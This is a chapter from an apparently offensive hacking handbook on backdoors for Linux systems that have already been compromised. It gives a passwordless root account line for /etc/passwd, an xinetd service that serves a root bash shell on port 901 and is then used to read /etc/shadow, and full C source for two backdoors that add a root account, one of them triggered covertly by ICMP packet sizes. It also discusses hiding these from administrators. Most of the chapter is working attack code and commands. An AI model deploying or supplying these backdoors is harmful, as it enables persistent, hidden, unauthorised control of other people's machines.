Chapter 4

Entering the system by the backdoor

We can probably guess what a "backdoor" does from its literal meaning. Technically, though, the software belonging to this class is used to maintain access to a system that has already been infiltrated.

We can distinguish between two main types of backdoor:

- local: having a normal account on the server, a local backdoor gives us administrator rights
- remote: even if we do not have an account on the server, thanks to the remote backdoor we can obtain administrator rights

There are many kinds of backdoors. For example, the hacker can modify and substitute some services offered by the server, and can also statically modify certain configuration files. It is also possible to load the system core modules (about which the reader will learn more in a later chapter of this handbook) or to install applications, called rootkits, after cracking. Each way has its disadvantages and advantages. That is why it would be of benefit to describe each of them in sequence. The idea, as we can see, is very simple. Let's get down to discussing the practical use of the backdoor and to analyzing its advantages and disadvantages.

Backdoors:

1) Modification of file /etc/passwd
2) Adding new service in /etc/xinetd.d/
3) Communication through ICMP
4) Modification of sources of sshd daemon
5) Rootkit (kernel module)

Modification of /etc/passwd

The first of the discussed types of backdoor is probably the most basic that is possible to apply. It is neither effective nor does it give us the certainty that it will last long in the system. This method consists of physical modification of the file /etc/passwd (which contains information about the system users), adding to it a line with the account with an uid number (userid – user identifier) or gid (groupid – group identifier) equal to zero, i.e., an account with administrator rights (root).

For example, the line could look like this:

```
dave::0:0::/:/bin/bash
```

By slipping something like this in between existing accounts, we have the chance that this account will survive. Unfortunately, the fundamental disadvantage of this method is the ease by which it is detected.

Adding a new service

The second method is slightly more effective in maintaining access to the penetrated system. It consists in modifying the xinetd daemon configuration file (xinetd.d). However, we will first discuss the program itself.

The purpose of xinetd is to listen in on the connections on the internet sockets. When a connection with a socket occurs, xinetd decides which program has to serve the request and starts it. After completing this process, the eavesdropping on the socket is resumed (in some cases, however, it is not). Generally speaking, xinetd uses one daemon to call many others, consequently saving system resources. The xinetd configuration file is as standard /etc/xinetd.d/. Based on it the program decides on which socket it should listen in to the connections and what program it should start after the request notification.

Example configuration file is shown below:

```
service sane
{
        disable = no
        port = 6566
        socket_type = stream
        protocol = tcp
        wait = no
        user = saned
        group = saned
        server = /usr/sbin/saned
}
```

Where in sequence:

- sane: name of the service
- stream: type of socket
- tcp: protocol we have chosen
- wait: means the kind of service
- saned: user name
- /usr/sbin/saned: server program

In the above case the inetd daemon will start the Sane server on a socket using streaming and the TCP protocol, the connection will be received immediately (wait = no), and the /usr/sbin/saned will be started with saned user rights. The port number on which the Sane service will be started is placed in /etc/services file, which contains list of standard services:

```
$ cat /etc/services | grep 'sane'
(...)
```

We now modify the xinetd.d configuration file to create a simple backdoor. We will name file as swat and we will put it in /etc/xinet.d/ directory.

```
service swat
{
        disable = no
        port = 901
        socket_type = stream
        protocol = tcp
```

```
        wait = no
        user = root
        group = root
        server = /bin/bash
}
```

After adding the above service to /etc/xinetd.d and registering the xinetd daemon we can test what we did by using telnet on port 901 (samba-swat with /etc/services):

```
$ killall -HUP xinetd
$ telnet localhost 901
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
cat /etc/shadow;

bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
```

In this way we have created something like bindshell functioning with administrator rights. We can now, for example, add a new account to /etc/passwd and simply log in:

```
echo dave::0:0::/:/bin/bash >> /etc/passwd;
exit;
```

This process can also be automated by defining a program in the xinetd.d file that has to start. Below is a typical example of the source (**/CD/Chapter4/Listings/back.c**):

```
#include <pwd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>

#define USER "user"
```

```
int main(int argc, char **argv)
{
        char *buff;
        int fd;
        size_t len;

        if(getpwnam(USER))
                return EXIT_SUCCESS;

        else {
        if( (fd = open("/etc/passwd", O_NONBLOCK | O_WRONGLY | O_APPEND)) ) {
                        len = strlen(USER) + 20;
                        if(!(buff = malloc(len)) )
                                return EXIT_FAILURE;
                        snprintf(buff, len, "%s::0:0::/:/bin/bash\n", USER);
                        if(!write(fd, buff, strlen(buff)))
                                return EXIT_FAILURE;
                        close(fd);
                }
                else
                        return EXIT_FAILURE;
        }
        return EXIT_SUCCESS;
}
```

After compilation and startup the above application checks if the "user" account exists and then takes a series of actions:

- the user exists: program will end
- the user does not exist: adds a new account with administrator rights

```
# gcc -o back back.c
# cat /etc/passwd | grep user
# ./back
# cat /etc/passwd | grep user
user::0:0::/:/bin/bash
# mv back /bin
```

Now we will modify our line in /etc/xinetd.d/swat:

```
server = /bin/back
```

/bin/back is obviously the path for the backdoor that has already been compiled. After registering the xinetd daemon, we check if the backdoor is working by using telnet on port 901:

```
$ killall –HUP xinetd
$ telnet localhost 901
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host
$ cat /etc/passwd | grep user
user::0:0::/:/bin/bash
$
```

Everything is in order. The backdoor is working as it should, so now it is enough to log into the newly created account, giving us full access to the system.

ICMP backdoor

The next way to maintain access to the server is a backdoor using the ICMP protocol. ICMP (Internet Control Message Protocol) is an auxiliary protocol working with IP. When computer A wants to discover if computer B is available, it sends an ICMP packet. When computer B is available it most frequently replies to such a packet (even if sometimes it is being blocked) and in this way computer A receives confirmation of the existence of unit B. This is the easiest way to describe the basic use of the ICMP auxiliary protocol. We will now take advantage of this protocol to control the backdoor. Here is an example of the code of such a program (**/CD/Chapter4/Listings/icmp_back.c**):

```
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pwd.h>
#include <linux/ip.h>

#define USER "user"
#define FIRST 100
#define SECOND 150

int main()
{
```

```
int tcp_socket, ret, i, fd;
        size_t sock_len, len;
        char buffer[65536];
        char *buff;
        struct sockaddr_in from;

        if(!(tcp_socket = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)))
                return EXIT_FAILURE;

        memset(&from, 0, sizeof(from));
        sock_len = sizeof(from);

        while((ret = recvfrom(tcp_socket, &buffer, sizeof(buffer), 0,
        (struct sockaddr *)&from,  &sock_len))) {
                if(ret == FIRST + 28)
                        i = 1;
                if(i  && ret == SECOND + 28) {
                        if(getpwnam(USER))
                                return EXIT_SUCCESS;

        else {
        if( (fd = open("/etc/passwd", O_NONBLOCK | O_WRONGLY | O_APPEND)) ) {
                                len = strlen(USER) + 20;
                                if(!(buff = malloc(len)) )
                                        return EXIT_FAILURE;
                                snprintf(buff, len, "%s::0:0::/:/bin/bash\n", USER);
                                if(!write(fd, buff, strlen(buff)))
                                        return EXIT_FAILURE;
                                close(fd);
                                }
                                else
                                        return EXIT_FAILURE;
                        }
                        i = 0;
                }
        }

        close(tcp_socket);
        return EXIT_SUCCESS;
}
```

We will next compile and start the above application:

```
# gcc -o icmp_back icmp_back.c
# ./icmp_back &
```

What does the operation of this backdoor consist of? After starting up it waits for the ICMP packets of a size that we define in the source code (FIRST 100 and SECOND 150). When it has sent two packets with different sizes, one after another, the backdoor adds the entry to /etc/passwd along with a new account with administrator rights.

We will test its function:

```
$ cat /etc/passwd | grep user
$ ping -s 100 -c 1 localhost
PING localhost (127.0.0.1) 100(128) bytes of data.
108 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.096 ms

--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.096/0.096/0.096/0.000 ms
$ ping -s 150 -c 1 localhost
PING localhost (127.0.0.1) 150(178) bytes of data.
158 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.087 ms

--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.087/0.087/0.087/0.000 ms
$ cat /etc/passwd | grep user
user::0:0::/:/bin/bash
```

Our example program has, however, one fundamental disadvantage – its process is seen when we call the ps command. This can be prevented by using an appropriate tool or by writing our own core module that hides this process (programming core modules and hiding processes will constitute the topic of the next and successive chapters). After such an operation the backdoor becomes almost invisible to the administrator. Almost, because the use of the "netstat" command will show an open RAW type socket belonging to the process of our backdoor.